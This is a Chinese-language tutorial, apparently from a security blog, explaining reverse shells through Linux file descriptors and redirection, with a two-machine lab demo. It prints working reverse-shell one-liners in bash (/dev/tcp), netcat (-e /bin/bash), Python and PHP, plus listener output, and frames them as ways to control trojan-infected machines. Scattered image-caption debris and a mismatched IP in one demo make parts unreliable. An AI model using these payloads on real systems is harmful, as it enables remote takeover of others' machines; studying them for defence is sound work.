什么是反弹shell

shell:是操作主机的接口。

则反弹shell就是:攻击端监听目标的某TCP/UDP端口 ,目标发起请求到该端口上,命令行的输入输出转到攻击端。简单地说就是把自己的shell送给别人,使别人可以操控自己的计算机

iptables端口重定向redis地址到没生效_文件描述符


为什么要反弹shell

假如我们攻击了一台机器,打开了该机器的一个端口,然后攻击者用自己的工具连接目标,这是正向连接。
但是有些情况下正向连接不能奏效,那就需要反弹shell了

常用于如下原因:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的 什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

linux文件描述符与重定向

在实验之前,先学习一下linux文件描述符与重定向,有助于对反弹shell的理解
1.Linux里的文件描述符
文件描述符(file description) 是内核为了高效管理亦被打开的文件所创建的索引,就是一个非负的证书(通常是小正数),用于指被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。
在Linux刚启动时
0是标准输入(默认设备键盘)
1是标准输出(默认设备显示器)
https://pic.imgdb.cn/item/62是标准错误输出(默认设备显示器)iptables端口重定向redis地址到没生效_文件描述符_02
2.重定向

重定向可以理解为将原本的输出到显示器上的东西显示到别的显示器上。
就比如,重定向可以让目标端的显示显示到攻击端。


>/<

标准正确输出 ( 覆盖 )/标准正确输入 ( 覆盖 )

>>/<<

标准正确输出 ( 追加 )/标准正确输入 ( 追加 )

>&

&>或>& 表示混合输出,即标准输出1 + 错误输出2

<&

&<或<& 表示混合输入

实验演示

攻击端ip:192.168.147.130
目标ip:192.168.147.131
先来一个常规操作,解释一下命令

  1. 攻击端监听一个端口:
[root@hacker  ~]# nc -lvp 5555 
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:6767

2.受害端生成一个反弹shell:

[root@victim  ~]# bash -i >& /dev/tcp/192.168.147.131/5555 0>&1

3.攻击端已获取到受害端的bash:

[root@hacker  ~]# nc -lvp 5555 
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 192.168.147.131
Ncat: Connection from 192.168.147.131:46836.
[root@victim  ~]#         //攻击端已获得受害端的远程交互式shell 
[root@victim  ~]# hostname 
hostname
victim

解释命令:

  1. nc -lvp 6767

-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

  1. bash -i

-i interactive。即产生一个交互式的shell(bash)。

  1. /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

下面进行四个小测试帮助理解反弹shell的命令

1,
攻击端:

nc -lvp 5555

目标:

bash -i > /dev/tcp/192.168.147.130/5555
ls

解释:攻击端监听5555端口,目标产生一个交互式shell并且标准输出重定向由socket连接传输到我攻击端来,目标输入ls,输出被重定向到攻击端显示器。(但是我们无法操控目标)
2.
攻击端:

nc -lvp 5555

目标:

bash -i < /dev/tcp/192.168.147.130/5555
ip

iptables端口重定向redis地址到没生效_文件描述符_03

iptables端口重定向redis地址到没生效_文件描述符_04




解释:攻击端监听5555端口,目标产生一个交互式shell并且标准输入重定向由socket连接传输到我攻击端来,我攻击端输入的命令被重定向到目标上,于是我们控制到目标,但是并无回显。
3.攻击端:

nc -lvp 5555

目标:

bash -i > /dev/tcp/192.168.147.130/5555 0>&1

iptables端口重定向redis地址到没生效_shell_05

iptables端口重定向redis地址到没生效_文件描述符_06

解释:攻击端监听5555端口,目标产生一个交互式shell并且标准输出重定向由socket连接传输到我攻击端来,0>&1,表示目标的标准输入也随着一起重定向到攻击端,于是我们即控制了目标,也有回显,但是目标依旧会回显我们输入的命令,并且,我们无法回显报错信息
4 结合上面三步测试,我们逐渐得出最经典的反弹shell语句
攻击端:

nc -lvp 5555

目标:

bash -i > /dev/tcp/192.168.147.130/5555 0>&1 2>&1

iptables端口重定向redis地址到没生效_shell_07

可以看到,目标输入任何指令都不会有回显

iptables端口重定向redis地址到没生效_重定向_08

我攻击端,输入的每条指令,都有回显,而且在目标上没有回显,报错信息也有回显

iptables端口重定向redis地址到没生效_shell_09

解释:攻击端监听5555端口,目标产生一个交互式shell并且标准输出重定向由socket连接传输到我攻击端来,0>&1,表示目标的标准输入也随着一起重定向到攻击端,2>&1,表示目标的标准报错也随着一起重定向到攻击端

iptables端口重定向redis地址到没生效_shell_10

常见的反弹shell的方法

方法一:上面实验所演示的linux命令行反弹shell
方法二:
使用netcat(瑞士军刀)
kail先监听7777端口

nc -lvp 5555

服务器端执行

nc -e  /bin/bash 192.168.147.130 5555

但是在我这并没有奏效

iptables端口重定向redis地址到没生效_重定向_11

目标返回了个这,看着像是-e不对劲

查了查

iptables端口重定向redis地址到没生效_文件描述符_12

我的版本不对
方法三
kail先监听7777端口

nc -lvp 5555

目标:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.147.130',5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"


但是我并没奏效
方法四
kail先监听7777端口

nc -lvp 5555

目标:

php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.147.130/5555");'

或者
利用fsockopen连接

fsockopen — 打开一个网络连接或者一个Unix套接字连接

服务器端执行

php -r '$sock=fsockopen("192.168.147.130",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

参考

https://www.yuque.com/yuandian-efswk/es3ll7/tboh8v#wcm2fhttps://zhuanlan.zhihu.com/p/138393396https://xz.aliyun.com/t/2549#toc-5https://xz.aliyun.com/t/2548